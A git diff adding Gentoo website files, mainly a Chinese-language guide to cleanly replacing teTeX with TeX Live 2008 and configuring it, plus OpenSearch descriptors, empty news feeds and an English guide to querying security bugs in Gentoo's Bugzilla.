+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.5</version>
+<date>2009-04-15</date>
+
+<chapter id="uninstall">
+<title>干净卸载</title>
+
+<section>
+<title>介绍</title>
+<body>
+
+<p>本节假设你已经安装了<c>&gt;=app-text/tetex-3</c>或者<c>app-text/textlive-2005</c>。在一个理想的world中，卸载软件本来是很简单的，但是很不幸的是，卸载旧的Tex并不如我们想像的简单。</p>
+
+</body>
+</section>
+<section>
+<title>保存旧的配置</title>
+<body>
+
+<p>如果你编辑过<path>/etc/texmf</path>修改<c>tetex</c>的配置，你应该先备份它们。</p>
+
+<pre caption="保存旧的配置文件">
+$ <i>cp -rf /etc/texmf ~/tetex-texmf:</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>删除tetex</title>
+<body>
+
+<p>现在,你可以安全卸载<c>tetex</c>了，执行如下命令：</p>
+
+<pre caption="卸载tetex">
+# <i>emerge -C tetex</i>
+</pre>
+
+<p>
+当<path>/etc/texmf</path>中留有一些旧的配置文件时，有人报告过一些奇怪的错误。所以，为了安全和干净的卸载<c>Tex Live</c>，强烈建议删除文件<path>/etc/texmf/texmf.d/00texmf.cnf</path>。
+</p>
+
+<pre caption="删除/etc/texmf"># <i>rm /etc/texmf/texmf.d/00texmf.cnf</i></pre>
+
+<note>你已经备份了旧的配置文件，不会丢失以前的配置。</note>
+
+<p>由于<c>tetex</c>使用的<c>texlinks</c>超出了软件包管理的范围，直接卸载<c>tetex</c>会留下一些游离的链接。</p>
+
+<pre caption="tetex游离链接">
+$ <i>ls -l /usr/bin/pdftex</i> 
+lrwxrwxrwx 1 root root 7 2007-07-09 07:34 /usr/bin/pdftex -> pdfetex
+</pre>
+
+<p>因为pdfetex已经在删除<c>tetex</c>时一起被删除了,所以这些指向pdftex的链接就成了死链接，可以安全删除。命令<c>find</c>（带有GNU扩展）可以帮助我们交互的寻找和删除死链接：</p>
+
+<pre caption="交互的删除死链接">
+# <i>find /usr/bin -type l ! -xtype f ! -xtype d -ok rm -f {} \;</i> 
+
+&lt; rm ... /usr/bin/pdflatex &gt; ? y 
+&lt; rm ... /usr/bin/amstex &gt; ? y 
+&lt; rm ... /usr/bin/pdftex &gt; ? y 
+&lt; rm ... /usr/bin/eplain &gt; ? y 
+&lt; rm ... /usr/bin/jadetex &gt; ? y 
+&lt; rm ... /usr/bin/lambda &gt; ? y 
+&lt; rm ... /usr/bin/pdfamstex &gt; ? y 
+&lt; rm ... /usr/bin/elatex &gt; ? y 
+&lt; rm ... /usr/bin/lamed &gt; ? y 
+&lt; rm ... /usr/bin/pdfjadetex &gt; ? y 
+&lt; rm ... /usr/bin/latex &gt; ? y
+</pre>
+
+<p>这些是我安装的<c>tetex</c>留下的文件。</p>
+
+<p><c>tetex</c>也使用不在软件包管理范围的<c>fmtutil</c>来生成格式文件，而<c>Tex Live 2008</c>大多数的格式文件是在编译软件包的时候同时生成的，它的格式文件会安装在<path>/var/lib/texmf</path>，所以你必须保证那个文件夹下没有其他的格式文件。 </p>
+
+<pre caption="删除游离的格式文件"># <i>rm -rf /var/lib/texmf/web2c</i></pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>安装Tex Live 2008</title>
+<section>
+<body>
+
+<p>如果你顺利通过了以上所有步骤，现在安装<c>Tex Live 2008</c>就会非常容易了。</p>
+
+<pre caption="安装TeX Live 2008"># <i>emerge texlive</i></pre>
+
+<p>理论上，这个过程应该很顺利的安装上所有需要的东西。另外，你可能想通过修改<c>app-text/texlive</c>的USE标记来一起安装其他额外的软件包，其实也可以等<c>app-text/texlive</c>安装完成以后，再修改USE标记安装其他软件包，因为<c>app-text/texlive</c> 只是一个meta-ebuild，其他额外的软件包的安装只是依赖于它的USE标记，而不会重新编译<c>app-text/texlive</c>。
+</p>
+
+<p>不过，安装软件包的过程很可能会遇到一些依赖问题和错误，如果你遇到这种情况，可以去<uri>https://bugs.gentoo.org</uri>提交一个Bug。如果你要提交Bug，请至少附加<c>texconfig conf</c> 的输出结果（使用出现安装错误的用户执行这个命令，因为有可能是环境变量的设置引起的错误）。</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>配置</title>
+<section>
+<title>介绍</title>
+<body>
+
+<p>和<c>tetex-3</c>一样，<c>Tex Live</c> 在<c>Gentoo</c>也有三个主要的由<c>texmf-update</c>更新和维护的配置文件存放在<path>/etc/texmf/web2c</path>，分别是： <path>texmf.cnf</path>， <path>fmtutil.cnf</path>，<path>updmap.cfg</path>。你不应该直接修改它们，因为下次执行<c>texmf-update</c>时，它们都会被覆盖。</p>
+
+</body>
+</section>
+<section>
+<title>texmf.cnf</title>
+<body>
+
+<p><path>texmf.cnf</path>是Tex安装的主要配置文件，它定义了很多其他程序使用的变量。</p>
+
+<p>文件<path>texmf.cnf</path>是文件夹<path>/etc/texmf/texmf.d</path>下文件的组合，你可以编辑那里的文件来修改你的Tex环境配置（译者注：不推荐）。在撰写本文时，<c>Gentoo TeX Live</c>的软件包在<path>/etc/texmf/texmf.d</path>下安装了如下6个配置文件：</p>
+
+<pre caption="texmf.d下安装的文件">
+00header.cnf
+05searchpaths.cnf
+10standardpaths.cnf
+15options.cnf
+20sizes.cnf
+25misc.cnf
+</pre>
+
+<p>此6个文件是根据对应的章节分割<c>Tex Live 2008</c>DVD中的<path>texmf.cnf</path>源文件（少量修改）而来。</p>
+
+<p>文件<path>00header.cnf</path>、<path>05searchpaths.cnf</path>、<path>10standardpaths.cnf</path>和<path>25misc.cnf</path>不应该被修改，如果你觉得它们的默认配置还可以改进，你可以提交一个bug。</p>
+
+<warn><c>Tex Live</c>软件包会监视这些文件的路径变化，所以你移动这些文件之前应该清楚自己在干什么。</warn>
+
+<p>你可以谨慎的修改文件<path>15options.cnf</path>和<path>20sizes.cnf</path>，这些文件每一个选项都应该有清晰的注释。例如当你编译一个大文档遇到<c>TeX capacity exceeded, sorry</c>的错误时，你可以修改<path>20sizes.cnf</path>中的选项增加Tex的内存上限。</p>
+
+<p>如果你想在<path>texmf.cnf</path>中添加新的配置选项，你也可以在 <path>/etc/texmf/texmf.d</path>下新建一个文件名类似<path>99myadditions.cnf</path>的文件。注意不要让你的新文件的优先级超过核心的配置文件，即你的文件名开头的两位数字应该要至少大于<c>25</c></p>
+
+<p>需要给<path>texmf.cnf</path>添加其他配置选项的软件包也应该使用在<path>texmf.d</path>中安装一个文件的方式： </p>
+
+<pre caption="安装texmf.d配置文件的示例代码">
+<keyword>insinto</keyword> <const>/etc/texmf/texmf.d</const>
+<keyword>doins</keyword> <const>40mytexmfadditions.cnf</const>
+</pre>
+
+</body>
+</section>
+<section>
+<title>updmap.cfg</title>
+<body>
+
+<p>没有特殊设置的情况下，文件<path>updmap.cfg</path>是<c>updmap</c>（还有<c>updmap-sys</c>）使用的配置文件，它告诉<c>updmap</c>对不同的Tex输出驱动更新哪些字体映射。
+</p>
+
+<p>文件夹<path>/etc/texmf/web2c</path>下的<path>updmap.cfg</path>文件是文件夹<path>/etc/texmf/updmap.d</path>下文件的组合。<c>app-text/texlive-core</c> 初始安装的<path>00updmap.cfg</path>文件是在<c>texmf</c>树上运行<c>updmap --syncwithtrees</c>的结果（事实上，它只是模拟了<c>updmap --syncwithtrees</c>的运行，仅仅是一些技术细节）。</p>
+
+<p>很多的<c>Tex Live</c>软件包安装字体时会在文件夹<path>/etc/texmf/updmap.d</path>下添加文件。你可以编辑那些文件禁用一些字体映射的更新，更明智的做法是删除相关的软件包。</p>
+
+<p>如果有第三方的软件包想添加字体映射，它应该在<path>/etc/texmf/updmap.d</path>下安装文件以使<c>texmf-update</c>能够处理它。 </p>
+
+<warn>有时，在一些软件包或者第三方字体包的安装指南中你会看到命令 <c>updmap-sys --enable Map=mymap.map</c>，虽然开始时可以正常工作，但是这个命令所做的更改在下次运行 <c>texmf-update</c>时会被覆盖掉。 </warn>
+
+<p>所以，处理这个问题的更好的方式是在<path>/etc/texmf/updmap.d</path>中创建一个新的文件，然后以支持<c>texmf-update</c>的方式为Tex发行版安装它：</p>
+
+<pre caption="如何配置一个字体映射">
+<keyword>inherit</keyword> <ident>latex-package</ident>
+...
+<stmt>src_install()</stmt> {
+    ...
+    <keyword>if</keyword> <stmt>latex-package_has_tetex_3</stmt>; then
+        <keyword>insinto</keyword> /etc/texmf/updmap.d
+        <keyword>doins</keyword> myfontmapconfig.cfg
+    <keyword>fi</keyword>
+    ...
+}
+...
+<stmt>pkg_postinst()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --enable Map=mymap.map
+}
+
+<stmt>pkg_postrm()</stmt> {
+    <stmt>latex-package_pkg_postinst</stmt>
+    <stmt>latex-package_has_tetex_3</stmt> || updmap-sys --disable Map=mymap.map
+}
+</pre>
+
+<p>放在<path>/etc/texmf/updmap.d</path>文件夹下的文件应该遵循<c>updmap</c>语法：</p>
+
+<pre caption="摘录updmap.cfg语法解释的部分">有两种可能的格式Map和MixedMap，它们都以映射文件的文件名为附加参数。如果dvipsPreferOutline选项为false，MixedMap（"mixed" 表示字体即可以是位图格式也可以是框线格式）行不会被dvips映射默认使用。已停用的映射文件应该用"#！"（不包含引号）注释掉，不仅仅是#。</pre>
+
+</body>
+</section>
+<section>
+<title>fmtutil.cnf</title>
+<body>
+
+<p>文件<path>fmtutil.cnf</path>包含了如何创建和处理格式文件的信息。</p>
+
+<p>文件<path>fmtutil.cnf</path>是文件夹<path>/etc/texmf/fmtutil.d</path>下文件的组合，很多<c>Tex Live</c>软件包会在那里安装文件，这些文件是一些它们支持的格式文件和它们相关引擎的链接。</p>
+
+<pre caption="摘录fmtutil.cnf(5)的man手册语法解释部分">
+fmtutil.cnf文件包含了fmtutil(8)的配置信息。其中每一行包含一个格式名称（例如：“tex”，“latex”，“omega”），一个处理格式的引擎名称（例如："tex","etex","omega"），模式文件名（例如：language.dat, language.def）和其他参数文件（.ini后缀的文件）。
+
+各项之间以空格隔开，注释以"#"开头。模式文件不能用来定义一个创建格式时使用的文件，它会告诉fmtutil格式创建过程读取的文件还会影响到选项 --showwhyphen 和 --byhyphen。如果格式不能自定义hyphenation, '-'符号可以用来说明这一点。
+</pre>
+
+<p>
+<c>Tex Live</c>软件包安装时会在<path>fmtutil.d</path>下创建一个文件，在<path>/var/lib/texmf/web2c</path>中安装相关的格式文件，并创建格式文件到处理引擎之间的链接。
+</p>
+
+<p>
+如果你添加了支持其他语言的文件，可以用<c>texmf-update</c>把它添加到<path>language.dat</path>文件中并重新生成支持新语言的格式文件。
+</p>
+
+</body>
+</section>
+<section>
+<title>更新你的配置</title>
+<body>
+
+<p>
+现在你应该知道<c>Tex Live</c>的配置文件是如何管理的了，你应该把你以前对旧的Tex发行版的配置按照<c>Tex Live</c>的方式重新配置一下。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>常见错误</title>
+<section>
+<title>介绍</title>
+<body>
+
+<p>
+本节我们尝试对一些常见的错误做一个简短的总结和解释。
+</p>
+
+</body>
+</section>
+<section>
+<title>(pdf)etex生成的格式</title>
+<body>
+
+<p>
+有时，当你安装一些依赖latex的软件包时会遇到下面的错误：:
+</p>
+
+<pre caption="格式文件是由pdfetex创建的">
+---! //var/lib/texmf/web2c/latex.fmt was written by pdfetex
+</pre>
+
+<p>
+这个错误是由你原来安装的基于<c>etex</c>的<c>TeX</c>发行版遗留的一些旧文件引起的。很有可能是你没有完全按照本指南的步骤，特别是<uri link="#uninstall">干净卸载</uri>一章执行相关操作。
+</p>
+
+<p>
+不管如何，这个问题还是可以不用重新安装任何东西很快修复的，直接以root身份运行如下命令:
+</p>
+
+<pre caption="删除旧的格式文件">
+# <i>rm -rf /var/lib/texmf/web2c</i>
+# <i>texmf-update</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>格式文件夹不存在</title>
+<body>
+
+<p>
+当你安装<c>texlive-latex</c>软件包时，你可能会遇到下面的错误：:
+</p>
+
+<pre caption="格式文件夹不存在">
+fmtutil: format directory
+`/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-var/web2c' does not exist.
+</pre>
+
+<p>
+这大多是由于错误的配置导致的，你可以试着运行下面的命令，看是否得到一样的输出结果：
+</p>
+
+<pre caption="TEXMFMAIN定义">
+$ <i>kpsewhich --var-value=TEXMFMAIN</i>
+/usr/share/texmf
+</pre>
+
+<p>
+这个变量很重要，因为 <c>fmtutil</c>在这个文件夹下寻找<c>mktexdir</c>；如果上面的命令你得到一个不一样的结果<c>fmtutil</c>就会找不到<c>mktexdir</c>，在创建存放临时文件和编译的格式文件的文件夹时就会失败。
+</p>
+
+<p>
+没有什么神奇的命令直接修复这个错误，你应该检查你的配置是否正确，确保<path>/etc/texmf/texmf.d</path>里面没有一些游离的配置文件。这很有可能是因为有一份旧的 <path>00texmf.cnf</path>还存放在那里，由它的错误的配置引起的。请查看<uri link="#uninstall">干净卸载</uri>一章，而且记住当你修改或删除<path>/etc/texmf/*.d</path>下的文件后，你应该运行<c>texmf-update</c>以使修改生效。
+</p>
+
+</body>
+</section>
+<section>
+<title>缺失.tex文件</title>
+<body>
+
+<p>
+当你安装<c>texlive-latex</c>(或者其他支持babel hyphenation的格式)，你可能会遇到类似这样的错误:
+</p>
+
+<pre caption="缺少bghyphen.tex">
+===========================================
+Local configuration file hyphen.cfg used
+===========================================
+
+(/var/tmp/portage/dev-texlive/texlive-latex-2008/work/texmf-dist/tex/generic/ba
+bel/hyphen.cfg (/usr/share/texmf/tex/generic/hyphen/hyphen.tex)
+(/usr/share/texmf/tex/generic/hyphen/ushyphmax.tex)
+(/usr/share/texmf/tex/generic/hyphen/dumyhyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf/tex/generic/hyphen/zerohyph.tex)
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bahyph.tex
+(/usr/share/texmf/tex/generic/hyphen/bahyph.tex))
+(/usr/share/texmf-dist/tex/generic/xu-hyphen/xu-bghyphen.tex
+! I can't find file `bghyphen.tex'.
+l.10   \input bghyphen.tex
+
+Please type another input file name:
+! Emergency stop.
+l.10   \input bghyphen.tex
+
+No pages of output.
+Transcript written on latex.log.
+Error: `pdftex -ini  -jobname=latex -progname=latex
+-translate-file=cp227.tcx *latex.ini' failed
+</pre>
+
+<p>
+这种情况下，你应该去检查<path>language.dat</path>是否正在被使用：
+</p>
+
+<pre caption="find language.dat">
+$ <i>kpsewhich language.dat</i>
+/usr/share/texmf/tex/generic/config/language.dat
+</pre>
+
+<p>
+这个文件是由<c>texmf-update</c>自动生成的而且是存放<path>language.us</path>的文件夹下<path>language.*.dat</path>文件的组合(对TeX Live
+2008来说，文件<path>language.*.dat</path>是从<path>/etc/texmf/language.dat.d/</path>获取的)。这个文件夹应该是<path>/usr/share/texmf/tex/generic/config/</path>。所以你应该检查那个文件夹下除了由<c>dev-texlive/texlive-lang*</c>软件包安装的以外，没有其他的<path>language.*.dat</path> 文
+件存在。那个文件夹下的文件意味这它对应的语言开启了hyphenation支持；如果你
+没有对应的hyphenation支持文件，则创建带有hyphenation支持的格式就会失败。
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/rdf/en/gentoo-news-test.rdf b/xml/htdocs/rdf/en/gentoo-news-test.rdf
new file mode 100644
index 00000000..b8fb1762
--- /dev/null
+++ b/xml/htdocs/rdf/en/gentoo-news-test.rdf
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/rdftest.xsl" type="text/xsl"?>
+
+<rdffeed type="news">
+	<title>Gentoo Linux News</title> 
+	<link>http://www.gentoo.org/</link>
+	<description>Gentoo Linux News</description>
+	<feeditems />
+</rdffeed>
diff --git a/xml/htdocs/rdf/en/gentoo-news.rdf b/xml/htdocs/rdf/en/gentoo-news.rdf
new file mode 100644
index 00000000..e6e70f89
--- /dev/null
+++ b/xml/htdocs/rdf/en/gentoo-news.rdf
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/rdf.xsl" type="text/xsl"?>
+
+<rdffeed type="news">
+	<title>Gentoo Linux News</title> 
+	<link>http://www.gentoo.org/</link>
+	<description>Gentoo Linux News</description>
+	<feeditems />
+</rdffeed>
diff --git a/xml/htdocs/rdf/en/glsa-index.rdf b/xml/htdocs/rdf/en/glsa-index.rdf
new file mode 100644
index 00000000..c4755c59
--- /dev/null
+++ b/xml/htdocs/rdf/en/glsa-index.rdf
@@ -0,0 +1,5 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/rdf/en/glsa-index.rdf,v 1.1 2004/03/31 10:19:31 blackace Exp $ -->
+<?xml-stylesheet type="text/xsl" href="/xsl/glsaindex-rdf.xsl"?>
+
+<glsaindex-rdf/>
diff --git a/xml/htdocs/search/archives-gentoo-org.xml b/xml/htdocs/search/archives-gentoo-org.xml
new file mode 100644
index 00000000..74dc5346
--- /dev/null
+++ b/xml/htdocs/search/archives-gentoo-org.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" standalone='yes'?>
+
+<!-- Made up DTD to make our CVS accept this file (xmllint ‐‐noout ‐‐valid must succeed) -->
+<!DOCTYPE OpenSearchDescription [
+<!ELEMENT OpenSearchDescription (ShortName, Description, Image, Url)>
+<!ATTLIST OpenSearchDescription xmlns CDATA #FIXED "http://a9.com/-/spec/opensearch/1.1/">
+  <!ELEMENT ShortName (#PCDATA)>
+  <!ELEMENT Description (#PCDATA)>
+  <!ELEMENT Image (#PCDATA)>
+  <!ATTLIST Image height CDATA #REQUIRED
+                  width  CDATA #REQUIRED
+                  type   CDATA #REQUIRED>
+  <!ELEMENT Url EMPTY>
+  <!ATTLIST Url type     CDATA #REQUIRED
+                template CDATA #REQUIRED>
+]>
+
+<OpenSearchDescription>
+  <ShortName>Gentoo List Archives</ShortName>
+  <Description>Search archives.gentoo.org via Google</Description>
+  <Image height="16" width="16" type="image/x-icon">http://www.gentoo.org/favicon.ico</Image>
+  <Url type="text/html" template="http://www.google.com/search?q={searchTerms}+site%3Aarchives.gentoo.org"/>
+</OpenSearchDescription>
diff --git a/xml/htdocs/search/bugs-gentoo-org.xml b/xml/htdocs/search/bugs-gentoo-org.xml
new file mode 100644
index 00000000..b0bf0228
--- /dev/null
+++ b/xml/htdocs/search/bugs-gentoo-org.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" standalone='yes'?>
+
+<!-- Made up DTD to make our CVS accept this file (xmllint ‐‐noout ‐‐valid must succeed) -->
+<!DOCTYPE OpenSearchDescription [
+<!ELEMENT OpenSearchDescription (ShortName, Description, Image, Url)>
+<!ATTLIST OpenSearchDescription xmlns CDATA #FIXED "http://a9.com/-/spec/opensearch/1.1/">
+  <!ELEMENT ShortName (#PCDATA)>
+  <!ELEMENT Description (#PCDATA)>
+  <!ELEMENT Image (#PCDATA)>
+  <!ATTLIST Image height CDATA #REQUIRED
+                  width  CDATA #REQUIRED
+                  type   CDATA #REQUIRED>
+  <!ELEMENT Url EMPTY>
+  <!ATTLIST Url type     CDATA #REQUIRED
+                template CDATA #REQUIRED>
+]>
+
+<OpenSearchDescription>
+  <ShortName>Gentoo Bugzilla</ShortName>
+  <Description>Gentoo's Official Bugzilla</Description>
+  <Image height="16" width="16" type="image/x-icon">http://www.gentoo.org/search/g-bugs.ico</Image>
+  <Url type="text/html" template="http://bugs.gentoo.org/buglist.cgi?bug_status=UNCONFIRMED&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;chfieldto=Now&amp;short_desc={searchTerms}&amp;short_desc_type=substring&amp;long_desc_type=substring&amp;bug_file_loc_type=substring&amp;status_whiteboard_type=substring&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;sourceid=Mozilla-search"/>
+</OpenSearchDescription>
diff --git a/xml/htdocs/search/forums-gentoo-org.xml b/xml/htdocs/search/forums-gentoo-org.xml
new file mode 100644
index 00000000..355616fc
--- /dev/null
+++ b/xml/htdocs/search/forums-gentoo-org.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" standalone='yes'?>
+
+<!-- Made up DTD to make our CVS accept this file (xmllint ‐‐noout ‐‐valid must succeed) -->
+<!DOCTYPE OpenSearchDescription [
+<!ELEMENT OpenSearchDescription (ShortName, Description, Image, Url)>
+<!ATTLIST OpenSearchDescription xmlns CDATA #FIXED "http://a9.com/-/spec/opensearch/1.1/">
+  <!ELEMENT ShortName (#PCDATA)>
+  <!ELEMENT Description (#PCDATA)>
+  <!ELEMENT Image (#PCDATA)>
+  <!ATTLIST Image height CDATA #REQUIRED
+                  width  CDATA #REQUIRED
+                  type   CDATA #REQUIRED>
+  <!ELEMENT Url EMPTY>
+  <!ATTLIST Url type     CDATA #REQUIRED
+                template CDATA #REQUIRED>
+]>
+
+<OpenSearchDescription>
+  <ShortName>Gentoo Forums</ShortName>
+  <Description>Gentoo's Official Forums</Description>
+  <Image height="16" width="16" type="image/x-icon">http://www.gentoo.org/search/g-forums.ico</Image>
+  <Url type="text/html" template="http://forums.gentoo.org/search.php?mode=results&amp;show_results=topics&amp;search_keywords={searchTerms}"/>
+</OpenSearchDescription>
diff --git a/xml/htdocs/search/g-bugs.ico b/xml/htdocs/search/g-bugs.ico
new file mode 100644
index 00000000..1fbaa0f1
--- /dev/null
+++ b/xml/htdocs/search/g-bugs.ico
diff --git a/xml/htdocs/search/g-forums.ico b/xml/htdocs/search/g-forums.ico
new file mode 100644
index 00000000..1a4b8f46
--- /dev/null
+++ b/xml/htdocs/search/g-forums.ico
diff --git a/xml/htdocs/search/g-packages.ico b/xml/htdocs/search/g-packages.ico
new file mode 100644
index 00000000..5f4a4a65
--- /dev/null
+++ b/xml/htdocs/search/g-packages.ico
diff --git a/xml/htdocs/search/packages-gentoo-org.xml b/xml/htdocs/search/packages-gentoo-org.xml
new file mode 100644
index 00000000..48e35559
--- /dev/null
+++ b/xml/htdocs/search/packages-gentoo-org.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" standalone='yes'?>
+
+<!-- Made up DTD to make our CVS accept this file (xmllint ‐‐noout ‐‐valid must succeed) -->
+<!DOCTYPE OpenSearchDescription [
+<!ELEMENT OpenSearchDescription (ShortName, Description, Image, Url)>
+<!ATTLIST OpenSearchDescription xmlns CDATA #FIXED "http://a9.com/-/spec/opensearch/1.1/">
+  <!ELEMENT ShortName (#PCDATA)>
+  <!ELEMENT Description (#PCDATA)>
+  <!ELEMENT Image (#PCDATA)>
+  <!ATTLIST Image height CDATA #REQUIRED
+                  width  CDATA #REQUIRED
+                  type   CDATA #REQUIRED>
+  <!ELEMENT Url EMPTY>
+  <!ATTLIST Url type     CDATA #REQUIRED
+                template CDATA #REQUIRED>
+]>
+
+<OpenSearchDescription>
+  <ShortName>Gentoo Packages</ShortName>
+  <Description>Search packages.gentoo.org</Description>
+  <Image height="16" width="16" type="image/x-icon">http://www.gentoo.org/search/g-packages.ico</Image>
+  <!-- Change this back when the new search functionality is completed -->
+  <Url type="text/html" template="http://www.google.com/search?q={searchTerms}+site%3Apackages.gentoo.org"/>
+</OpenSearchDescription>
diff --git a/xml/htdocs/search/www-gentoo-org.xml b/xml/htdocs/search/www-gentoo-org.xml
new file mode 100644
index 00000000..a8d350ff
--- /dev/null
+++ b/xml/htdocs/search/www-gentoo-org.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" standalone='yes'?>
+
+<!-- Made up DTD to make our CVS accept this file (xmllint ‐‐noout ‐‐valid must succeed) -->
+<!DOCTYPE OpenSearchDescription [
+<!ELEMENT OpenSearchDescription (ShortName, Description, Image, Url)>
+<!ATTLIST OpenSearchDescription xmlns CDATA #FIXED "http://a9.com/-/spec/opensearch/1.1/">
+  <!ELEMENT ShortName (#PCDATA)>
+  <!ELEMENT Description (#PCDATA)>
+  <!ELEMENT Image (#PCDATA)>
+  <!ATTLIST Image height CDATA #REQUIRED
+                  width  CDATA #REQUIRED
+                  type   CDATA #REQUIRED>
+  <!ELEMENT Url EMPTY>
+  <!ATTLIST Url type     CDATA #REQUIRED
+                template CDATA #REQUIRED>
+]>
+
+<OpenSearchDescription>
+  <ShortName>Gentoo Website</ShortName>
+  <Description>Search www.gentoo.org via Google</Description>
+  <Image height="16" width="16" type="image/x-icon">http://www.gentoo.org/favicon.ico</Image>
+  <Url type="text/html" template="http://www.google.com/search?q={searchTerms}+site%3Awww.gentoo.org"/>
+</OpenSearchDescription>
diff --git a/xml/htdocs/security/en/bug-searching.xml b/xml/htdocs/security/en/bug-searching.xml
new file mode 100644
index 00000000..20bdf0f9
--- /dev/null
+++ b/xml/htdocs/security/en/bug-searching.xml
@@ -0,0 +1,80 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<guide link="/security/en/bug-searching.xml">
+<title>Tips for searching and filtering Security bugs</title>
+<author title="Author">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Author">
+  <mail link="rbu@gentoo.org">Robert Buchholz</mail>
+</author>
+
+<abstract>
+This document gives tips and hints for helping filter security-related bugzilla bugs.
+</abstract>
+
+<license/>
+
+<version>1.2</version>
+<date>2009-04-14</date>
+
+<chapter>
+<title>Bug Searching</title>
+<section>
+<title>All Security Bugs</title>
+<body>
+<p>
+For identifying all security-related bugs, use the Bugzilla <uri link="https://bugs.gentoo.org/query.cgi">query</uri> page and set the following fields:
+</p>
+<ul>
+<li><b>Product:</b> select "Gentoo Security"</li>
+<li><b>Status:</b> set this to the type of bug you want to search for (i.e. closed bugs, open bugs, etc.)</li>
+</ul>
+<p>
+This will give you a list of all security bugs in our system (or at least the ones that are properly assigned). You can set the query to only display Vulnerabilities, Kernel issues, or other subsets of Security bugs by setting the <b>Component</b> 
+</p>
+</body>
+</section>
+<section>
+<title>"Mark stable" Arch Bugs</title>
+<body>
+<p>
+When a package has had a security patch applied, it typically needs to be tested before being marked stable on affected architectures.  To identify all bugs where a particular arch needs to mark a package stable, use the <uri link="https://bugs.gentoo.org/query.cgi">query</uri> page and set the following fields:
+</p>
+<ul>
+<li><b>Product:</b> select "Gentoo Security"</li>
+<li><b>Status:</b> set this to "New", "Assigned" and "Reopened"  (i.e. don't search for bugs that are closed)</li>
+<li><b>Email and Numbering:</b> Any of: "CC list member" should be set to "contains &lt;arch&gt;@gentoo.org"</li>
+</ul>
+<p>
+When a package gets patched and requires testing, the security team will CC all relevant arches on that particular bug and request that they test and mark the package as stable on their architecture.  Thus, by using the search criteria described above, you'll be able to easily see what bugs require attention for a particular arch.
+</p>
+<impo>To make this report effective, it's very important that arch teams remember to remove themselves from the CC list once they have stabilized a package.</impo>
+<note>For unsupported arches, bugs may be closed without the package being marked stable on that particular architecture.  Thus, developers for these architectures may wish to include closed bugs in their queries.  (For an explanation of "supported" vs. "unsupported" architectures, please see the <uri link="/security/en/vulnerability-policy.xml">Vulnerability Treatment Policy</uri>.)</note> 
+<p>
+Architecture Security Liaisons will need additional queries to catch bugs that require their participation. Those bugs could be for instance <c>SEMI-PUBLIC</c> ranked bugs that need to be marked stable in the tree, or <c>CONFIDENTIAL</c> bugs that have prestable testing in Bugzilla only. To get a list of these bugs, use the <uri link="https://bugs.gentoo.org/query.cgi">query</uri> page and set the following fields:
+</p>
+<ul>
+<li><b>Product:</b> select "Gentoo Security"</li>
+<li><b>Status:</b> set this to "New", "Assigned" and "Reopened"  (i.e. don't search for bugs that are closed)</li>
+<li><b>Email and Numbering:</b> Any of: "CC list member" should be set to "contains &lt;login&gt;@gentoo.org" where &lt;login&gt; is the Gentoo username of the Liaison</li>
+<li><b>Advanced Searching Using Boolean Charts:</b> "Group" should be set to "is equal to" and the input field should read "Security".</li>
+</ul>
+</body>
+</section>
+<section>
+<title>Bugzilla queries that might be helpful</title>
+<body>
+<p>
+Gentoo Security Team members and Padawans might find these queries helpful. Except from false positives, bugs listed in these queries need attention from the Security Team.
+</p>
+<ul>
+<li><uri link="https://bugs.gentoo.org/buglist.cgi?query_format=advanced&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;product=Gentoo+Security&amp;component=Auditing&amp;component=Default+Configs&amp;component=GLSA+Errors&amp;component=Kernel&amp;component=Runpath+Issues&amp;component=Vulnerabilities&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;status_whiteboard_type=allwordssubstr&amp;status_whiteboard=stable&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailtype1=regexp&amp;email1=&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;query_based_on=stale+stable&amp;negate0=1&amp;field0-0-0=cc&amp;type0-0-0=substring&amp;value0-0-0=amd64%40gentoo.org&amp;negate1=1&amp;field1-0-0=cc&amp;type1-0-0=substring&amp;value1-0-0=x86%40gentoo.org&amp;negate2=1&amp;field2-0-0=cc&amp;type2-0-0=substring&amp;value2-0-0=ppc%40gentoo.org&amp;negate3=1&amp;field3-0-0=cc&amp;type3-0-0=substring&amp